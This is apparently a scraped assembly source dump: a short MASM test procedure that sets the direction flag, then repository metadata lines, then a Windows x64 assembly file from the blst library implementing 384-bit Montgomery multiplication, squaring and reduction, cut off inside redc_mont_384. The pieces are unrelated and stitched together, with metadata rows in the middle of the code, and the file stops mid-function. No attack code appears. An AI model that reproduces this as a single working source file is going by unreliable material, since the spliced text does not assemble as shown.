TestDfByMovsd PROC
push esi
push edi
lea esi, source
add esi, 4
lea edi, dest
add edi, 4
std
movsd
movsd
pop edi
pop esi
ret
TestDfByMovsd ENDP
end
| 13.9
| 44
| 0.573141
|
0ccb46786c363ad549869b6a2532120a78135ce8
| 64,126
|
asm
|
Assembly
|
build/win64/mulq_mont_384-x86_64.asm
|
huitseeker/blst
|
095a8c53787d6c91b725152ebfbbf33acf05a931
|
[
"Apache-2.0"
] | 231
|
2020-06-22T23:39:36.000Z
|
2022-03-31T05:58:09.000Z
|
build/win64/mulq_mont_384-x86_64.asm
|
huitseeker/blst
|
095a8c53787d6c91b725152ebfbbf33acf05a931
|
[
"Apache-2.0"
] | 100
|
2020-06-23T13:59:55.000Z
|
2022-03-23T10:41:27.000Z
|
build/win64/mulq_mont_384-x86_64.asm
|
huitseeker/blst
|
095a8c53787d6c91b725152ebfbbf33acf05a931
|
[
"Apache-2.0"
] | 61
|
2020-06-24T02:45:50.000Z
|
2022-03-27T03:12:33.000Z
|
OPTION DOTNAME
.text$ SEGMENT ALIGN(256) 'CODE'
ALIGN 32
__sub_mod_384x384 PROC PRIVATE
DB 243,15,30,250
mov r8,QWORD PTR[rsi]
mov r9,QWORD PTR[8+rsi]
mov r10,QWORD PTR[16+rsi]
mov r11,QWORD PTR[24+rsi]
mov r12,QWORD PTR[32+rsi]
mov r13,QWORD PTR[40+rsi]
mov r14,QWORD PTR[48+rsi]
sub r8,QWORD PTR[rdx]
mov r15,QWORD PTR[56+rsi]
sbb r9,QWORD PTR[8+rdx]
mov rax,QWORD PTR[64+rsi]
sbb r10,QWORD PTR[16+rdx]
mov rbx,QWORD PTR[72+rsi]
sbb r11,QWORD PTR[24+rdx]
mov rbp,QWORD PTR[80+rsi]
sbb r12,QWORD PTR[32+rdx]
mov rsi,QWORD PTR[88+rsi]
sbb r13,QWORD PTR[40+rdx]
mov QWORD PTR[rdi],r8
sbb r14,QWORD PTR[48+rdx]
mov r8,QWORD PTR[rcx]
mov QWORD PTR[8+rdi],r9
sbb r15,QWORD PTR[56+rdx]
mov r9,QWORD PTR[8+rcx]
mov QWORD PTR[16+rdi],r10
sbb rax,QWORD PTR[64+rdx]
mov r10,QWORD PTR[16+rcx]
mov QWORD PTR[24+rdi],r11
sbb rbx,QWORD PTR[72+rdx]
mov r11,QWORD PTR[24+rcx]
mov QWORD PTR[32+rdi],r12
sbb rbp,QWORD PTR[80+rdx]
mov r12,QWORD PTR[32+rcx]
mov QWORD PTR[40+rdi],r13
sbb rsi,QWORD PTR[88+rdx]
mov r13,QWORD PTR[40+rcx]
sbb rdx,rdx
and r8,rdx
and r9,rdx
and r10,rdx
and r11,rdx
and r12,rdx
and r13,rdx
add r14,r8
adc r15,r9
mov QWORD PTR[48+rdi],r14
adc rax,r10
mov QWORD PTR[56+rdi],r15
adc rbx,r11
mov QWORD PTR[64+rdi],rax
adc rbp,r12
mov QWORD PTR[72+rdi],rbx
adc rsi,r13
mov QWORD PTR[80+rdi],rbp
mov QWORD PTR[88+rdi],rsi
DB 0F3h,0C3h ;repret
__sub_mod_384x384 ENDP
ALIGN 32
__add_mod_384 PROC PRIVATE
DB 243,15,30,250
mov r8,QWORD PTR[rsi]
mov r9,QWORD PTR[8+rsi]
mov r10,QWORD PTR[16+rsi]
mov r11,QWORD PTR[24+rsi]
mov r12,QWORD PTR[32+rsi]
mov r13,QWORD PTR[40+rsi]
add r8,QWORD PTR[rdx]
adc r9,QWORD PTR[8+rdx]
adc r10,QWORD PTR[16+rdx]
mov r14,r8
adc r11,QWORD PTR[24+rdx]
mov r15,r9
adc r12,QWORD PTR[32+rdx]
mov rax,r10
adc r13,QWORD PTR[40+rdx]
mov rbx,r11
sbb rdx,rdx
sub r8,QWORD PTR[rcx]
sbb r9,QWORD PTR[8+rcx]
mov rbp,r12
sbb r10,QWORD PTR[16+rcx]
sbb r11,QWORD PTR[24+rcx]
sbb r12,QWORD PTR[32+rcx]
mov rsi,r13
sbb r13,QWORD PTR[40+rcx]
sbb rdx,0
cmovc r8,r14
cmovc r9,r15
cmovc r10,rax
mov QWORD PTR[rdi],r8
cmovc r11,rbx
mov QWORD PTR[8+rdi],r9
cmovc r12,rbp
mov QWORD PTR[16+rdi],r10
cmovc r13,rsi
mov QWORD PTR[24+rdi],r11
mov QWORD PTR[32+rdi],r12
mov QWORD PTR[40+rdi],r13
DB 0F3h,0C3h ;repret
__add_mod_384 ENDP
ALIGN 32
__sub_mod_384 PROC PRIVATE
DB 243,15,30,250
mov r8,QWORD PTR[rsi]
mov r9,QWORD PTR[8+rsi]
mov r10,QWORD PTR[16+rsi]
mov r11,QWORD PTR[24+rsi]
mov r12,QWORD PTR[32+rsi]
mov r13,QWORD PTR[40+rsi]
__sub_mod_384_a_is_loaded::
sub r8,QWORD PTR[rdx]
mov r14,QWORD PTR[rcx]
sbb r9,QWORD PTR[8+rdx]
mov r15,QWORD PTR[8+rcx]
sbb r10,QWORD PTR[16+rdx]
mov rax,QWORD PTR[16+rcx]
sbb r11,QWORD PTR[24+rdx]
mov rbx,QWORD PTR[24+rcx]
sbb r12,QWORD PTR[32+rdx]
mov rbp,QWORD PTR[32+rcx]
sbb r13,QWORD PTR[40+rdx]
mov rsi,QWORD PTR[40+rcx]
sbb rdx,rdx
and r14,rdx
and r15,rdx
and rax,rdx
and rbx,rdx
and rbp,rdx
and rsi,rdx
add r8,r14
adc r9,r15
mov QWORD PTR[rdi],r8
adc r10,rax
mov QWORD PTR[8+rdi],r9
adc r11,rbx
mov QWORD PTR[16+rdi],r10
adc r12,rbp
mov QWORD PTR[24+rdi],r11
adc r13,rsi
mov QWORD PTR[32+rdi],r12
mov QWORD PTR[40+rdi],r13
DB 0F3h,0C3h ;repret
__sub_mod_384 ENDP
PUBLIC mul_mont_384x
ALIGN 32
mul_mont_384x PROC PUBLIC
DB 243,15,30,250
mov QWORD PTR[8+rsp],rdi ;WIN64 prologue
mov QWORD PTR[16+rsp],rsi
mov r11,rsp
$L$SEH_begin_mul_mont_384x::
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
mov r8,QWORD PTR[40+rsp]
push rbp
push rbx
push r12
push r13
push r14
push r15
sub rsp,328
$L$SEH_body_mul_mont_384x::
mov rbx,rdx
mov QWORD PTR[32+rsp],rdi
mov QWORD PTR[24+rsp],rsi
mov QWORD PTR[16+rsp],rdx
mov QWORD PTR[8+rsp],rcx
mov QWORD PTR[rsp],r8
lea rdi,QWORD PTR[40+rsp]
call __mulq_384
lea rbx,QWORD PTR[48+rbx]
lea rsi,QWORD PTR[48+rsi]
lea rdi,QWORD PTR[((40+96))+rsp]
call __mulq_384
mov rcx,QWORD PTR[8+rsp]
lea rdx,QWORD PTR[((-48))+rsi]
lea rdi,QWORD PTR[((40+192+48))+rsp]
call __add_mod_384
mov rsi,QWORD PTR[16+rsp]
lea rdx,QWORD PTR[48+rsi]
lea rdi,QWORD PTR[((-48))+rdi]
call __add_mod_384
lea rbx,QWORD PTR[rdi]
lea rsi,QWORD PTR[48+rdi]
call __mulq_384
lea rsi,QWORD PTR[rdi]
lea rdx,QWORD PTR[40+rsp]
mov rcx,QWORD PTR[8+rsp]
call __sub_mod_384x384
lea rsi,QWORD PTR[rdi]
lea rdx,QWORD PTR[((-96))+rdi]
call __sub_mod_384x384
lea rsi,QWORD PTR[40+rsp]
lea rdx,QWORD PTR[((40+96))+rsp]
lea rdi,QWORD PTR[40+rsp]
call __sub_mod_384x384
mov rbx,rcx
lea rsi,QWORD PTR[40+rsp]
mov rcx,QWORD PTR[rsp]
mov rdi,QWORD PTR[32+rsp]
call __mulq_by_1_mont_384
call __redc_tail_mont_384
lea rsi,QWORD PTR[((40+192))+rsp]
mov rcx,QWORD PTR[rsp]
lea rdi,QWORD PTR[48+rdi]
call __mulq_by_1_mont_384
call __redc_tail_mont_384
lea r8,QWORD PTR[328+rsp]
mov r15,QWORD PTR[r8]
mov r14,QWORD PTR[8+r8]
mov r13,QWORD PTR[16+r8]
mov r12,QWORD PTR[24+r8]
mov rbx,QWORD PTR[32+r8]
mov rbp,QWORD PTR[40+r8]
lea rsp,QWORD PTR[48+r8]
$L$SEH_epilogue_mul_mont_384x::
mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue
mov rsi,QWORD PTR[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_mul_mont_384x::
mul_mont_384x ENDP
PUBLIC sqr_mont_384x
ALIGN 32
sqr_mont_384x PROC PUBLIC
DB 243,15,30,250
mov QWORD PTR[8+rsp],rdi ;WIN64 prologue
mov QWORD PTR[16+rsp],rsi
mov r11,rsp
$L$SEH_begin_sqr_mont_384x::
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
push rbp
push rbx
push r12
push r13
push r14
push r15
sub rsp,136
$L$SEH_body_sqr_mont_384x::
mov QWORD PTR[rsp],rcx
mov rcx,rdx
mov QWORD PTR[8+rsp],rdi
mov QWORD PTR[16+rsp],rsi
lea rdx,QWORD PTR[48+rsi]
lea rdi,QWORD PTR[32+rsp]
call __add_mod_384
mov rsi,QWORD PTR[16+rsp]
lea rdx,QWORD PTR[48+rsi]
lea rdi,QWORD PTR[((32+48))+rsp]
call __sub_mod_384
mov rsi,QWORD PTR[16+rsp]
lea rbx,QWORD PTR[48+rsi]
mov rax,QWORD PTR[48+rsi]
mov r14,QWORD PTR[rsi]
mov r15,QWORD PTR[8+rsi]
mov r12,QWORD PTR[16+rsi]
mov r13,QWORD PTR[24+rsi]
call __mulq_mont_384
add r14,r14
adc r15,r15
adc r8,r8
mov r12,r14
adc r9,r9
mov r13,r15
adc r10,r10
mov rax,r8
adc r11,r11
mov rbx,r9
sbb rdx,rdx
sub r14,QWORD PTR[rcx]
sbb r15,QWORD PTR[8+rcx]
mov rbp,r10
sbb r8,QWORD PTR[16+rcx]
sbb r9,QWORD PTR[24+rcx]
sbb r10,QWORD PTR[32+rcx]
mov rsi,r11
sbb r11,QWORD PTR[40+rcx]
sbb rdx,0
cmovc r14,r12
cmovc r15,r13
cmovc r8,rax
mov QWORD PTR[48+rdi],r14
cmovc r9,rbx
mov QWORD PTR[56+rdi],r15
cmovc r10,rbp
mov QWORD PTR[64+rdi],r8
cmovc r11,rsi
mov QWORD PTR[72+rdi],r9
mov QWORD PTR[80+rdi],r10
mov QWORD PTR[88+rdi],r11
lea rsi,QWORD PTR[32+rsp]
lea rbx,QWORD PTR[((32+48))+rsp]
mov rax,QWORD PTR[((32+48))+rsp]
mov r14,QWORD PTR[((32+0))+rsp]
mov r15,QWORD PTR[((32+8))+rsp]
mov r12,QWORD PTR[((32+16))+rsp]
mov r13,QWORD PTR[((32+24))+rsp]
call __mulq_mont_384
lea r8,QWORD PTR[136+rsp]
mov r15,QWORD PTR[r8]
mov r14,QWORD PTR[8+r8]
mov r13,QWORD PTR[16+r8]
mov r12,QWORD PTR[24+r8]
mov rbx,QWORD PTR[32+r8]
mov rbp,QWORD PTR[40+r8]
lea rsp,QWORD PTR[48+r8]
$L$SEH_epilogue_sqr_mont_384x::
mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue
mov rsi,QWORD PTR[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_sqr_mont_384x::
sqr_mont_384x ENDP
PUBLIC mul_382x
ALIGN 32
mul_382x PROC PUBLIC
DB 243,15,30,250
mov QWORD PTR[8+rsp],rdi ;WIN64 prologue
mov QWORD PTR[16+rsp],rsi
mov r11,rsp
$L$SEH_begin_mul_382x::
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
push rbp
push rbx
push r12
push r13
push r14
push r15
sub rsp,136
$L$SEH_body_mul_382x::
lea rdi,QWORD PTR[96+rdi]
mov QWORD PTR[rsp],rsi
mov QWORD PTR[8+rsp],rdx
mov QWORD PTR[16+rsp],rdi
mov QWORD PTR[24+rsp],rcx
mov r8,QWORD PTR[rsi]
mov r9,QWORD PTR[8+rsi]
mov r10,QWORD PTR[16+rsi]
mov r11,QWORD PTR[24+rsi]
mov r12,QWORD PTR[32+rsi]
mov r13,QWORD PTR[40+rsi]
add r8,QWORD PTR[48+rsi]
adc r9,QWORD PTR[56+rsi]
adc r10,QWORD PTR[64+rsi]
adc r11,QWORD PTR[72+rsi]
adc r12,QWORD PTR[80+rsi]
adc r13,QWORD PTR[88+rsi]
mov QWORD PTR[((32+0))+rsp],r8
mov QWORD PTR[((32+8))+rsp],r9
mov QWORD PTR[((32+16))+rsp],r10
mov QWORD PTR[((32+24))+rsp],r11
mov QWORD PTR[((32+32))+rsp],r12
mov QWORD PTR[((32+40))+rsp],r13
mov r8,QWORD PTR[rdx]
mov r9,QWORD PTR[8+rdx]
mov r10,QWORD PTR[16+rdx]
mov r11,QWORD PTR[24+rdx]
mov r12,QWORD PTR[32+rdx]
mov r13,QWORD PTR[40+rdx]
add r8,QWORD PTR[48+rdx]
adc r9,QWORD PTR[56+rdx]
adc r10,QWORD PTR[64+rdx]
adc r11,QWORD PTR[72+rdx]
adc r12,QWORD PTR[80+rdx]
adc r13,QWORD PTR[88+rdx]
mov QWORD PTR[((32+48))+rsp],r8
mov QWORD PTR[((32+56))+rsp],r9
mov QWORD PTR[((32+64))+rsp],r10
mov QWORD PTR[((32+72))+rsp],r11
mov QWORD PTR[((32+80))+rsp],r12
mov QWORD PTR[((32+88))+rsp],r13
lea rsi,QWORD PTR[((32+0))+rsp]
lea rbx,QWORD PTR[((32+48))+rsp]
call __mulq_384
mov rsi,QWORD PTR[rsp]
mov rbx,QWORD PTR[8+rsp]
lea rdi,QWORD PTR[((-96))+rdi]
call __mulq_384
lea rsi,QWORD PTR[48+rsi]
lea rbx,QWORD PTR[48+rbx]
lea rdi,QWORD PTR[32+rsp]
call __mulq_384
mov rsi,QWORD PTR[16+rsp]
lea rdx,QWORD PTR[32+rsp]
mov rcx,QWORD PTR[24+rsp]
mov rdi,rsi
call __sub_mod_384x384
lea rsi,QWORD PTR[rdi]
lea rdx,QWORD PTR[((-96))+rdi]
call __sub_mod_384x384
lea rsi,QWORD PTR[((-96))+rdi]
lea rdx,QWORD PTR[32+rsp]
lea rdi,QWORD PTR[((-96))+rdi]
call __sub_mod_384x384
lea r8,QWORD PTR[136+rsp]
mov r15,QWORD PTR[r8]
mov r14,QWORD PTR[8+r8]
mov r13,QWORD PTR[16+r8]
mov r12,QWORD PTR[24+r8]
mov rbx,QWORD PTR[32+r8]
mov rbp,QWORD PTR[40+r8]
lea rsp,QWORD PTR[48+r8]
$L$SEH_epilogue_mul_382x::
mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue
mov rsi,QWORD PTR[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_mul_382x::
mul_382x ENDP
PUBLIC sqr_382x
ALIGN 32
sqr_382x PROC PUBLIC
DB 243,15,30,250
mov QWORD PTR[8+rsp],rdi ;WIN64 prologue
mov QWORD PTR[16+rsp],rsi
mov r11,rsp
$L$SEH_begin_sqr_382x::
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
push rbp
push rbx
push r12
push r13
push r14
push r15
push rsi
$L$SEH_body_sqr_382x::
mov rcx,rdx
mov r14,QWORD PTR[rsi]
mov r15,QWORD PTR[8+rsi]
mov rax,QWORD PTR[16+rsi]
mov rbx,QWORD PTR[24+rsi]
mov rbp,QWORD PTR[32+rsi]
mov rdx,QWORD PTR[40+rsi]
mov r8,r14
add r14,QWORD PTR[48+rsi]
mov r9,r15
adc r15,QWORD PTR[56+rsi]
mov r10,rax
adc rax,QWORD PTR[64+rsi]
mov r11,rbx
adc rbx,QWORD PTR[72+rsi]
mov r12,rbp
adc rbp,QWORD PTR[80+rsi]
mov r13,rdx
adc rdx,QWORD PTR[88+rsi]
mov QWORD PTR[rdi],r14
mov QWORD PTR[8+rdi],r15
mov QWORD PTR[16+rdi],rax
mov QWORD PTR[24+rdi],rbx
mov QWORD PTR[32+rdi],rbp
mov QWORD PTR[40+rdi],rdx
lea rdx,QWORD PTR[48+rsi]
lea rdi,QWORD PTR[48+rdi]
call __sub_mod_384_a_is_loaded
lea rsi,QWORD PTR[rdi]
lea rbx,QWORD PTR[((-48))+rdi]
lea rdi,QWORD PTR[((-48))+rdi]
call __mulq_384
mov rsi,QWORD PTR[rsp]
lea rbx,QWORD PTR[48+rsi]
lea rdi,QWORD PTR[96+rdi]
call __mulq_384
mov r8,QWORD PTR[rdi]
mov r9,QWORD PTR[8+rdi]
mov r10,QWORD PTR[16+rdi]
mov r11,QWORD PTR[24+rdi]
mov r12,QWORD PTR[32+rdi]
mov r13,QWORD PTR[40+rdi]
mov r14,QWORD PTR[48+rdi]
mov r15,QWORD PTR[56+rdi]
mov rax,QWORD PTR[64+rdi]
mov rbx,QWORD PTR[72+rdi]
mov rbp,QWORD PTR[80+rdi]
add r8,r8
mov rdx,QWORD PTR[88+rdi]
adc r9,r9
mov QWORD PTR[rdi],r8
adc r10,r10
mov QWORD PTR[8+rdi],r9
adc r11,r11
mov QWORD PTR[16+rdi],r10
adc r12,r12
mov QWORD PTR[24+rdi],r11
adc r13,r13
mov QWORD PTR[32+rdi],r12
adc r14,r14
mov QWORD PTR[40+rdi],r13
adc r15,r15
mov QWORD PTR[48+rdi],r14
adc rax,rax
mov QWORD PTR[56+rdi],r15
adc rbx,rbx
mov QWORD PTR[64+rdi],rax
adc rbp,rbp
mov QWORD PTR[72+rdi],rbx
adc rdx,rdx
mov QWORD PTR[80+rdi],rbp
mov QWORD PTR[88+rdi],rdx
mov r15,QWORD PTR[8+rsp]
mov r14,QWORD PTR[16+rsp]
mov r13,QWORD PTR[24+rsp]
mov r12,QWORD PTR[32+rsp]
mov rbx,QWORD PTR[40+rsp]
mov rbp,QWORD PTR[48+rsp]
lea rsp,QWORD PTR[56+rsp]
$L$SEH_epilogue_sqr_382x::
mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue
mov rsi,QWORD PTR[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_sqr_382x::
sqr_382x ENDP
PUBLIC mul_384
ALIGN 32
mul_384 PROC PUBLIC
DB 243,15,30,250
mov QWORD PTR[8+rsp],rdi ;WIN64 prologue
mov QWORD PTR[16+rsp],rsi
mov r11,rsp
$L$SEH_begin_mul_384::
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
push rbp
push rbx
push r12
$L$SEH_body_mul_384::
mov rbx,rdx
call __mulq_384
mov r12,QWORD PTR[rsp]
mov rbx,QWORD PTR[8+rsp]
mov rbp,QWORD PTR[16+rsp]
lea rsp,QWORD PTR[24+rsp]
$L$SEH_epilogue_mul_384::
mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue
mov rsi,QWORD PTR[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_mul_384::
mul_384 ENDP
ALIGN 32
__mulq_384 PROC PRIVATE
DB 243,15,30,250
mov rax,QWORD PTR[rbx]
mov rbp,rax
mul QWORD PTR[rsi]
mov QWORD PTR[rdi],rax
mov rax,rbp
mov rcx,rdx
mul QWORD PTR[8+rsi]
add rcx,rax
mov rax,rbp
adc rdx,0
mov r8,rdx
mul QWORD PTR[16+rsi]
add r8,rax
mov rax,rbp
adc rdx,0
mov r9,rdx
mul QWORD PTR[24+rsi]
add r9,rax
mov rax,rbp
adc rdx,0
mov r10,rdx
mul QWORD PTR[32+rsi]
add r10,rax
mov rax,rbp
adc rdx,0
mov r11,rdx
mul QWORD PTR[40+rsi]
add r11,rax
mov rax,QWORD PTR[8+rbx]
adc rdx,0
mov r12,rdx
mov rbp,rax
mul QWORD PTR[rsi]
add rcx,rax
mov rax,rbp
adc rdx,0
mov QWORD PTR[8+rdi],rcx
mov rcx,rdx
mul QWORD PTR[8+rsi]
add r8,rax
mov rax,rbp
adc rdx,0
add rcx,r8
adc rdx,0
mov r8,rdx
mul QWORD PTR[16+rsi]
add r9,rax
mov rax,rbp
adc rdx,0
add r8,r9
adc rdx,0
mov r9,rdx
mul QWORD PTR[24+rsi]
add r10,rax
mov rax,rbp
adc rdx,0
add r9,r10
adc rdx,0
mov r10,rdx
mul QWORD PTR[32+rsi]
add r11,rax
mov rax,rbp
adc rdx,0
add r10,r11
adc rdx,0
mov r11,rdx
mul QWORD PTR[40+rsi]
add r12,rax
mov rax,QWORD PTR[16+rbx]
adc rdx,0
add r11,r12
adc rdx,0
mov r12,rdx
mov rbp,rax
mul QWORD PTR[rsi]
add rcx,rax
mov rax,rbp
adc rdx,0
mov QWORD PTR[16+rdi],rcx
mov rcx,rdx
mul QWORD PTR[8+rsi]
add r8,rax
mov rax,rbp
adc rdx,0
add rcx,r8
adc rdx,0
mov r8,rdx
mul QWORD PTR[16+rsi]
add r9,rax
mov rax,rbp
adc rdx,0
add r8,r9
adc rdx,0
mov r9,rdx
mul QWORD PTR[24+rsi]
add r10,rax
mov rax,rbp
adc rdx,0
add r9,r10
adc rdx,0
mov r10,rdx
mul QWORD PTR[32+rsi]
add r11,rax
mov rax,rbp
adc rdx,0
add r10,r11
adc rdx,0
mov r11,rdx
mul QWORD PTR[40+rsi]
add r12,rax
mov rax,QWORD PTR[24+rbx]
adc rdx,0
add r11,r12
adc rdx,0
mov r12,rdx
mov rbp,rax
mul QWORD PTR[rsi]
add rcx,rax
mov rax,rbp
adc rdx,0
mov QWORD PTR[24+rdi],rcx
mov rcx,rdx
mul QWORD PTR[8+rsi]
add r8,rax
mov rax,rbp
adc rdx,0
add rcx,r8
adc rdx,0
mov r8,rdx
mul QWORD PTR[16+rsi]
add r9,rax
mov rax,rbp
adc rdx,0
add r8,r9
adc rdx,0
mov r9,rdx
mul QWORD PTR[24+rsi]
add r10,rax
mov rax,rbp
adc rdx,0
add r9,r10
adc rdx,0
mov r10,rdx
mul QWORD PTR[32+rsi]
add r11,rax
mov rax,rbp
adc rdx,0
add r10,r11
adc rdx,0
mov r11,rdx
mul QWORD PTR[40+rsi]
add r12,rax
mov rax,QWORD PTR[32+rbx]
adc rdx,0
add r11,r12
adc rdx,0
mov r12,rdx
mov rbp,rax
mul QWORD PTR[rsi]
add rcx,rax
mov rax,rbp
adc rdx,0
mov QWORD PTR[32+rdi],rcx
mov rcx,rdx
mul QWORD PTR[8+rsi]
add r8,rax
mov rax,rbp
adc rdx,0
add rcx,r8
adc rdx,0
mov r8,rdx
mul QWORD PTR[16+rsi]
add r9,rax
mov rax,rbp
adc rdx,0
add r8,r9
adc rdx,0
mov r9,rdx
mul QWORD PTR[24+rsi]
add r10,rax
mov rax,rbp
adc rdx,0
add r9,r10
adc rdx,0
mov r10,rdx
mul QWORD PTR[32+rsi]
add r11,rax
mov rax,rbp
adc rdx,0
add r10,r11
adc rdx,0
mov r11,rdx
mul QWORD PTR[40+rsi]
add r12,rax
mov rax,QWORD PTR[40+rbx]
adc rdx,0
add r11,r12
adc rdx,0
mov r12,rdx
mov rbp,rax
mul QWORD PTR[rsi]
add rcx,rax
mov rax,rbp
adc rdx,0
mov QWORD PTR[40+rdi],rcx
mov rcx,rdx
mul QWORD PTR[8+rsi]
add r8,rax
mov rax,rbp
adc rdx,0
add rcx,r8
adc rdx,0
mov r8,rdx
mul QWORD PTR[16+rsi]
add r9,rax
mov rax,rbp
adc rdx,0
add r8,r9
adc rdx,0
mov r9,rdx
mul QWORD PTR[24+rsi]
add r10,rax
mov rax,rbp
adc rdx,0
add r9,r10
adc rdx,0
mov r10,rdx
mul QWORD PTR[32+rsi]
add r11,rax
mov rax,rbp
adc rdx,0
add r10,r11
adc rdx,0
mov r11,rdx
mul QWORD PTR[40+rsi]
add r12,rax
mov rax,rax
adc rdx,0
add r11,r12
adc rdx,0
mov r12,rdx
mov QWORD PTR[48+rdi],rcx
mov QWORD PTR[56+rdi],r8
mov QWORD PTR[64+rdi],r9
mov QWORD PTR[72+rdi],r10
mov QWORD PTR[80+rdi],r11
mov QWORD PTR[88+rdi],r12
DB 0F3h,0C3h ;repret
__mulq_384 ENDP
PUBLIC sqr_384
ALIGN 32
sqr_384 PROC PUBLIC
DB 243,15,30,250
mov QWORD PTR[8+rsp],rdi ;WIN64 prologue
mov QWORD PTR[16+rsp],rsi
mov r11,rsp
$L$SEH_begin_sqr_384::
mov rdi,rcx
mov rsi,rdx
push rbp
push rbx
push r12
push r13
push r14
push r15
sub rsp,8
$L$SEH_body_sqr_384::
call __sqrq_384
mov r15,QWORD PTR[8+rsp]
mov r14,QWORD PTR[16+rsp]
mov r13,QWORD PTR[24+rsp]
mov r12,QWORD PTR[32+rsp]
mov rbx,QWORD PTR[40+rsp]
mov rbp,QWORD PTR[48+rsp]
lea rsp,QWORD PTR[56+rsp]
$L$SEH_epilogue_sqr_384::
mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue
mov rsi,QWORD PTR[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_sqr_384::
sqr_384 ENDP
ALIGN 32
__sqrq_384 PROC PRIVATE
DB 243,15,30,250
mov rax,QWORD PTR[rsi]
mov r15,QWORD PTR[8+rsi]
mov rcx,QWORD PTR[16+rsi]
mov rbx,QWORD PTR[24+rsi]
mov r14,rax
mul r15
mov r9,rax
mov rax,r14
mov rbp,QWORD PTR[32+rsi]
mov r10,rdx
mul rcx
add r10,rax
mov rax,r14
adc rdx,0
mov rsi,QWORD PTR[40+rsi]
mov r11,rdx
mul rbx
add r11,rax
mov rax,r14
adc rdx,0
mov r12,rdx
mul rbp
add r12,rax
mov rax,r14
adc rdx,0
mov r13,rdx
mul rsi
add r13,rax
mov rax,r14
adc rdx,0
mov r14,rdx
mul rax
xor r8,r8
mov QWORD PTR[rdi],rax
mov rax,r15
add r9,r9
adc r8,0
add r9,rdx
adc r8,0
mov QWORD PTR[8+rdi],r9
mul rcx
add r11,rax
mov rax,r15
adc rdx,0
mov r9,rdx
mul rbx
add r12,rax
mov rax,r15
adc rdx,0
add r12,r9
adc rdx,0
mov r9,rdx
mul rbp
add r13,rax
mov rax,r15
adc rdx,0
add r13,r9
adc rdx,0
mov r9,rdx
mul rsi
add r14,rax
mov rax,r15
adc rdx,0
add r14,r9
adc rdx,0
mov r15,rdx
mul rax
xor r9,r9
add r8,rax
mov rax,rcx
add r10,r10
adc r11,r11
adc r9,0
add r10,r8
adc r11,rdx
adc r9,0
mov QWORD PTR[16+rdi],r10
mul rbx
add r13,rax
mov rax,rcx
adc rdx,0
mov QWORD PTR[24+rdi],r11
mov r8,rdx
mul rbp
add r14,rax
mov rax,rcx
adc rdx,0
add r14,r8
adc rdx,0
mov r8,rdx
mul rsi
add r15,rax
mov rax,rcx
adc rdx,0
add r15,r8
adc rdx,0
mov rcx,rdx
mul rax
xor r11,r11
add r9,rax
mov rax,rbx
add r12,r12
adc r13,r13
adc r11,0
add r12,r9
adc r13,rdx
adc r11,0
mov QWORD PTR[32+rdi],r12
mul rbp
add r15,rax
mov rax,rbx
adc rdx,0
mov QWORD PTR[40+rdi],r13
mov r8,rdx
mul rsi
add rcx,rax
mov rax,rbx
adc rdx,0
add rcx,r8
adc rdx,0
mov rbx,rdx
mul rax
xor r12,r12
add r11,rax
mov rax,rbp
add r14,r14
adc r15,r15
adc r12,0
add r14,r11
adc r15,rdx
mov QWORD PTR[48+rdi],r14
adc r12,0
mov QWORD PTR[56+rdi],r15
mul rsi
add rbx,rax
mov rax,rbp
adc rdx,0
mov rbp,rdx
mul rax
xor r13,r13
add r12,rax
mov rax,rsi
add rcx,rcx
adc rbx,rbx
adc r13,0
add rcx,r12
adc rbx,rdx
mov QWORD PTR[64+rdi],rcx
adc r13,0
mov QWORD PTR[72+rdi],rbx
mul rax
add rax,r13
add rbp,rbp
adc rdx,0
add rax,rbp
adc rdx,0
mov QWORD PTR[80+rdi],rax
mov QWORD PTR[88+rdi],rdx
DB 0F3h,0C3h ;repret
__sqrq_384 ENDP
PUBLIC sqr_mont_384
ALIGN 32
sqr_mont_384 PROC PUBLIC
DB 243,15,30,250
mov QWORD PTR[8+rsp],rdi ;WIN64 prologue
mov QWORD PTR[16+rsp],rsi
mov r11,rsp
$L$SEH_begin_sqr_mont_384::
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
push rbp
push rbx
push r12
push r13
push r14
push r15
sub rsp,8*15
$L$SEH_body_sqr_mont_384::
mov QWORD PTR[96+rsp],rcx
mov QWORD PTR[104+rsp],rdx
mov QWORD PTR[112+rsp],rdi
mov rdi,rsp
call __sqrq_384
lea rsi,QWORD PTR[rsp]
mov rcx,QWORD PTR[96+rsp]
mov rbx,QWORD PTR[104+rsp]
mov rdi,QWORD PTR[112+rsp]
call __mulq_by_1_mont_384
call __redc_tail_mont_384
lea r8,QWORD PTR[120+rsp]
mov r15,QWORD PTR[120+rsp]
mov r14,QWORD PTR[8+r8]
mov r13,QWORD PTR[16+r8]
mov r12,QWORD PTR[24+r8]
mov rbx,QWORD PTR[32+r8]
mov rbp,QWORD PTR[40+r8]
lea rsp,QWORD PTR[48+r8]
$L$SEH_epilogue_sqr_mont_384::
mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue
mov rsi,QWORD PTR[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_sqr_mont_384::
sqr_mont_384 ENDP
PUBLIC redc_mont_384
ALIGN 32
redc_mont_384 PROC PUBLIC
DB 243,15,30,250
mov QWORD PTR[8+rsp],rdi ;WIN64 prologue
mov QWORD PTR[16+rsp],rsi
mov r11,rsp
$L$SEH_begin_redc_mont_384::
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
push rbp
push rbx
push r12
push r13
push r14
push r15
sub rsp,8
$L$SEH_body_redc_mont_384::
mov rbx,rdx
call __mulq_by_1_mont_384
call __redc_tail_mont_384
